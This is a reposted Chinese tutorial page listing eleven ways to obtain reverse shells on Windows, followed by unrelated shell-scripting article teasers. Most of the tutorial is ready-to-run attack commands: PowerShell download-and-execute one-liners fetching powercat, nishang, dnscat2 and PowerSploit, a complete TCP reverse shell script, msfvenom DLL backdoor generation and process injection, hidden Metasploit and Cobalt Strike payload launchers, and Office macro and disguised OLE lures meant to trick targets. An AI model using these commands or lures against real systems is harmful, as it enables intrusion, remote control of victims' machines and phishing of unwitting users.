首页 / 更多教程 / widnows下反弹shell的几种方法---持续跟新

widnows下反弹shell的几种方法---持续跟新

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了widnows下反弹shell的几种方法---持续跟新，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含7489字，纯文字阅读大概需要11分钟。

内容图文

1.powercat反弹shell

powercat（https://github.com/besimorhino/powercat ）为Powershell版的Netcat，实际上是一个powershell的函数，使用方法类似Netcat

首先攻击者开启监听

nc -lvp 6666

或者使用powercat监听

powercat -l -p 6666

接着在目标机上反弹cmd shell：

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.159.134 -p 6666 -e cmd

2.nishang反弹shell

Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架，集合了一些PowerShell攻击脚本和有效载荷，可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

Reverse TCP shell

攻击者(192.168.159.134)开启监听：

nc -lvp 6666

目标机执行：

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

或者将nishang下载到攻击者本地：

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.159.134 -port 6666

3.Reverse UDP shell

还是利用nishang攻击框架

攻击者(192.168.159.134)开启监听：

nc -lvup 53

目标机执行：

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.159.134 -port 53

4.Reverse ICMP shell

需要利用

icmpsh_m.py (https://github.com/inquisb/icmpsh)和nishang

中的Invoke-PowerShellIcmp.ps1 来反弹ICMP shell。

首先攻击端下载icmpsh_m.py文件

icmpsh_m.py Usage：
python icmpsh_m.py [Attacker IP] [Victim IP]

攻击者(192.168.159.134)执行：

sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包
python icmpsh_m.py 192.168.159.134 192.168.159.138 #开启监听

目标机(192.168.159.138)执行：

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.159.134

5.自定义powershell函数反弹shell

利用powershell创建一个Net.Sockets.TCPClient对象，通过Socket反弹tcp shell，其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1

攻击者(192.168.159.134) 开启监听：

nc -lvp 6666

目标机执行：

powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

或者保存为lltest_tcp.ps1文件

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/lltest_tcp.ps1');Invoke-lltestTcp

lltest_tcp.ps1 如下：

function Invoke-lltestTcp
{
$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}

6.dnscat2 反弹DNS shell

dnscat2(https://github.com/iagox86/dnscat2 )是一个DNS隧道，旨在通过DNS协议创建加密的命令和控制（C＆C）通道。dnscat2分为两部分：客户端和服务器。dnscat2客户端采用C语言编写，服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)

利用dnscat2 和 dnscat2-powershell实现反弹DNS shell:

攻击者(Ubuntu 14.04 LTS 192.168.159.129)开启监听：

ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.159.129" --no-cache -e open
-e open 不使用加密连接，默认使用加密
ruby dnscat2.rb —help 查看帮助

目标机执行：

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.159.129

成功反弹shell后，攻击者：

session -i 1 #进入到session 1
shell #执行之后会新生成一个session 需要通过session -i 2 切换
session -i 2

7.Empire 结合office反弹shell

Empire(https://github.com/EmpireProject/Empire ) 基于powershell的后渗透攻击框架，可利用office 宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell

利用office 宏反弹shell

攻击者(192.168.159.134)开启监听:

uselistener http
execute
back
usestager windows/macro http #生成payload
execute

生成/tmp/macro 攻击代码后，新建一个word 创建宏

点击“文件”-“宏”-“创建”，删除自带的脚本，复制进去/tmp/macro文件内容，并保存为“Word 97-2003文档(.doc)”或者“启用宏的Word 文档(.docm)”文件，当诱导目标打开，执行宏后，即可成功反弹shell：
说明:需要开启宏或者用户手动启用宏。开启宏设置：“文件”-“选项”-“信任中心”,选择“启用所有宏”

8.利用office OLE对象插入bat文件反弹shell

同样利用Empire，攻击者(192.168.159.134)开启监听并生成bat文件payload：

listeners
usestager windows/launcher_bat http
execute

在word中“插入”-“对象”-“由文件创建” 处，插入launcher.bat文件，可更改文件名称和图标，进行伪装，当诱导目标点击launcher_lltest.xls文件，执行后，即可成功反弹shell：

9.PowerSploit DLL注入反弹shell

PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode（注入shellcode到执行进程）等功能。

利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入，反弹shell

1）msfvenom生成dll后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.134 lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll

说明：目标机64位用x64 ； 32位的话用windows/meterpreter/reverse_tcp

2）metasploit 设置payload 开启监听

use exploit/multi/handler set PAYLOAD
windows/x64/meterpreter/reverse_tcp set LHOST 192.168.159.134 set
LPORT 6667 exploit

3）powershell 下载PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll后门
首先上传dll文件到目标机。然后Get-Process 选定一个进程，最后注入到该进程

目标机执行:

Get-Process #选择要注入的进程

IEX (New-Object Net.WebClient).DownloadString("http://192.168.159.134/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll

10.metasploit反弹shell

利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell

攻击者(192.168.159.134)：

use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set target 2
set LHOST 192.168.159.134
set LPORT 6666
exploit

目标机执行：

powershell.exe -nop -w hidden -c $f=new-object net.webclient;$f.proxy=[Net.WebRequest]::GetSystemWebProxy();$f.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $f.downloadstring('http://192.168.159.134:8080/4iNSwaMtwWjm');

11.Cobalt strike反弹shell

Cobalt strike的Scripted Web Delivery模块，可通过bitsadmin、powershell、python、regsvr32等进行反弹shell，类似metasploit的web_delivery模块

1)开启监听:

首先要创建一个Listener, 点击 Cobalt Strike->Listeners ，然后点击Add便可创建Listeners

点击Cobalt Strike->Listeners

payload可选择windows/beacon_http/reverse_http

2)生成powershell payload:

点击Attack -> Web Drive-by -> Scripted Web Delivery

Type选择 powershell

3)目标机执行powershell payload:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.159.134:83/a'))"

内容总结

以上是互联网集市为您收集整理的widnows下反弹shell的几种方法---持续跟新全部内容，希望文章能够帮你解决widnows下反弹shell的几种方法---持续跟新所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/929253.html

来源：【匿名】

【上一篇】DVWA笔记：利用文件包含漏洞（低级）获取webshell 【下一篇】关于IE的RegExp.exec的问题

更多 ►

【widnows下反弹shell的几种方法---持续跟新】教程文章相关的互联网学习教程文章

shell 命令之bind,enable,ulimit【图】

1、bind在shell中，内建（builtin）命令bind，格式如下：　　　　bind [-m keymap] [-lpsvPSVX]　　　　bind [-m keymap] [-q function] [-u function] [-r keyseq]　　　　bind [-m keymap] -f filename　　　　bind [-m keymap] -x keyseq:shell-command　　　　bind [-m keymap] keyseq:function-name　　　　bind readline-commandbind命令用于显示当前“readline”中键和function的绑定，绑定键序列与function或宏，设置“rea...

Xshell 远程使用vim打开文件不能使用右键复制粘贴（右键显示可视）的问题【代码】

Xshell 远程使用vim打开文件不能使用右键复制粘贴（右键显示可视）的问题 Debian9.4系统不能再VIM打开文件界面不能使用右键复制粘贴 root@debian:~# vim /usr/share/vim/vim80/defaults.vim ....... #大约在70行 if has('mouse')set mouse=v #将 set mouse=a 改成 set mouse=v endif .......保存退出即可

Django学习之Django shell【图】

Django shell交互式，方便调试，开发。 python manage.py shell from blog.models import Article a=Article() a.title=title a.brief_content=brief_content a.content=content a.save() print (a) articles=Article.objects.all() article=articles[0] print(article.title) 以上交互式命令可以从数据库存放查找字段。

3.shell编程-文件查找之find命令【代码】【图】

3.1.语法格式find [路劲][选项][操作]选项参数对照表3.2.-name 查找/etc/目录下以.conf结尾的文件find /etc/ -name "*.conf"-iname 不区分大小写find /etc/ -iname "*.conf"-user 查找当前目录为root用户的文件find ./ -user root3.3.-type 文件的类型f 文件 d 目录 c 字符设备文件 b 块设备文件 l 链接文件 p 管道文件　 find . -type ffind . -type d3.4.-size 文件大小-n 小与n的文件 +n ...

shell 字符串截取【代码】

SHELL 字符串截取 shell 根据特定字符串截取字符串，截取右边或左边部分 #======= 保留左边字符串用 %# 删除右边最后一个.后的字符串(保留左边) APP_NAME=111.222.333.444 APP_SIMPLE_NAME=${APP_NAME%.*} #结果是 111.222.333 echo $APP_SIMPLE_NAME# 删除左边最后一个.后的字符串 APP_NAME=111.222.333.444 APP_SIMPLE_NAME=${APP_NAME%%.*} #结果是 111 echo $APP_SIMPLE_NAME#======= 保留右边的字符串用 #APP_NAME=111.22...

eval 让shell脚本动态的构建命令

用法：eval command-line原理：eval主要用在对参数的特殊处理上面的，一般的命令行，shell处理参数就只执行一遍，像转义和变量转变；但加上eval后就可以对参数多进行一遍处理；一个eval只能使shell对参数多一次处理，因此有几个eval就可以多加几次，即eval eval command-line 这样就能对参数进行三次编译，但此时应特别注意参数的转义。 eval命令会计算(evalue)它的参数，这些参数作为表达式计算后重新组合为一个字符串，然后作为...

shell习题-15【代码】

题目要求写个shell，看看你的Linux系统中是否有自定义用户（普通用户），若是有，一共有几个？核心要点centos6 uid>=500 eentos7 uid>=1000 awk -F : $3>=500 /etc/passwd|wc -l centos 5 6 awk -F : $3>=1000 /etc/passwd|wc -l centos 7 awk -F release {print $2} /etc/redhat-release|cut -d . -f1 参考答案 #!/bin/bash v=`awk -F 'release ' '{print $2}' /etc/redhat-release |cut -d '.' -f1` user() {if [ $1 -e...

shell编程：for循环【代码】

shell编程结构化命令 for 命令 bash shell 提供了 for 命令，允许你创建一个遍历一系列值的循环。每次迭代都使用其中一个值来执行已定义好的一组命令。下面是 bash shell 中 for 命令的基本格式。 for var in list docommands done在 list 参数中，你需要提供迭代中要用到的一系列值。可以通过几种不同的方法指定列表中的值。在每次迭代中，变量 var 会包含列表中的当前值。第一次迭代会使用列表中的第一个值，第二次迭代使用...

生成sign签名--使用BeanShell，导入外部jar包，Base64和MD5使用方法【图】

已知要生成sign的算法如下：一、先在Eclipse中编写代码，运行不报错了，再放到Jmeter中 MD5jar包是问开发要的，如下导入到Eclipse项目中，后面也要导入到Jmeter中的运行时选择，Run As Java Application, 可以单独只运行一个java文件。如果sign输出结果和fiddler中获取的一致了，说明sign生成正确了。二、将运行成功的java代码复制到Jmeter中其中，前面这几个参数limit=20&page=1&ts=1617755469974要和jmete...

Jmeter中的函数和BeanShell【图】

Jmeter中的函数和BeanShell vars.put("name", "zhangsan")// 定义变量 name 值为 zhangsanpublic static String go()// 定义函数 { vars.put("name", "zhangsan"); vars.put("tom", "cat"); return "1";}go()// 调用函数props.get("language");// 获取属性的值vars.put("myLan", props.get("gui.quick_0"));// 将属性转换为变量(变量在线程中改动不影响其他的, 而属性是全局的)

Shell脚本调试技术【图】

Shell脚本调试技术曹羽中 2007 年 7 月 26 日发布分享此页面 WeiboGoogle+用电子邮件发送本页面一. 前言 shell编程在unix/linux世界中使用得非常广泛，熟练掌握shell编程也是成为一名优秀的unix/linux开发者和系统管理员的必经之路。脚本调试的主要工作就是发现引发脚本错误的原因以及在脚本源代码中定位发生错误的行，常用的手段包括分析输出的错误信息，通过在脚本中加入调试语句，输出调试信息来辅助诊断错误，利用调试工具等...

shell脚本报错【图】

早几天在pc电脑写了一个shell脚本，用来执行springboot项目，然后在centos7执行的时候报错，脚本如下比较简单：start.sh，下面只是列举了一部分脚本代码2、拷贝脚本到linux服务器执行报如下错误： -bash: ./test.sh: /bin/bash^M: bad interpreter: No such file or directory 后面查了下资料报错原因是：我的start.sh的格式显示为：fileformat=dos start.sh是我在windows下编辑然后上传到linux系统里执行的。.sh文件的格式为dos格...

【shell】逆序打印数字1~10

目录 1.使用双小括号条件表达式 2.使用双中括号条件表达式 3.使用单中括号条件表达式 4.使用until命令 1.使用双小括号条件表达式 [qinys@localhost 20200313]$ cat 02_reverse.sh #!/bin/bash i=10 while ((i>0)) # 使用(()) doecho $i((i--)) done 打印结果： [qinys@localhost 20200313]$ sh 02_reverse.sh 10 9 8 7 6 5 4 3 2 1 2.使用双中括号条件表达式 [qinys@localhost 20200313]$ cat 02_reverse_1.sh #!/bin/bash i=10...

Shell编程基础【代码】

Shell编程一.程序简介程序程序：算法+数据结构数据结构：数据在计算机中的类型和组织方式算法：处理数据的方式面向过程：以指令为中心，数据服务于指令面向对象：以数据为中心，指令服务于数据计算机：二进制执行高级编程语言：编译：高级语言->编译器->机器代码->执行解释：高级语言->执行->解释器->机器代码 shell三大逻辑顺序、循环、选择二.shell脚本1.格式格式要求：首行shebang机制 #!/bin/bash 指定shell类型 # 注释 ...

shell函数【图】

一、函数介绍将代码模块化，一个模块实现一个功能，这样就能达到逻辑清晰、拍错简单的目的使用函数的优点：（1）代码模块化，调用方便，节省内存（2）代码模块化，代码量少，排错简单（3）代码模块化，可以改变代码的执行顺序二、函数语法三、函数应用函数默认不会执行，除非调用它，可以使用函数名直接调用

首页 / 更多教程 / widnows下反弹shell的几种方法---持续跟新

widnows下反弹shell的几种方法---持续跟新

内容导读

内容图文

内容总结

内容备注

内容手机端

【widnows下反弹shell的几种方法---持续跟新】教程文章相关的互联网学习教程文章

shell 命令之bind,enable,ulimit【图】

Xshell 远程使用vim打开文件不能使用右键复制粘贴（右键显示可视）的问题【代码】

Django学习之Django shell【图】

3.shell编程-文件查找之find命令【代码】【图】

shell 字符串截取【代码】

eval 让shell脚本动态的构建命令

shell习题-15【代码】

shell编程：for循环【代码】

生成sign签名--使用BeanShell，导入外部jar包，Base64和MD5使用方法【图】

Jmeter中的函数和BeanShell【图】

Shell脚本调试技术【图】

shell脚本报错【图】

【shell】逆序打印数字1~10

Shell编程基础【代码】

shell函数【图】

更多教程 - 最新教程

更多教程 - 最热教程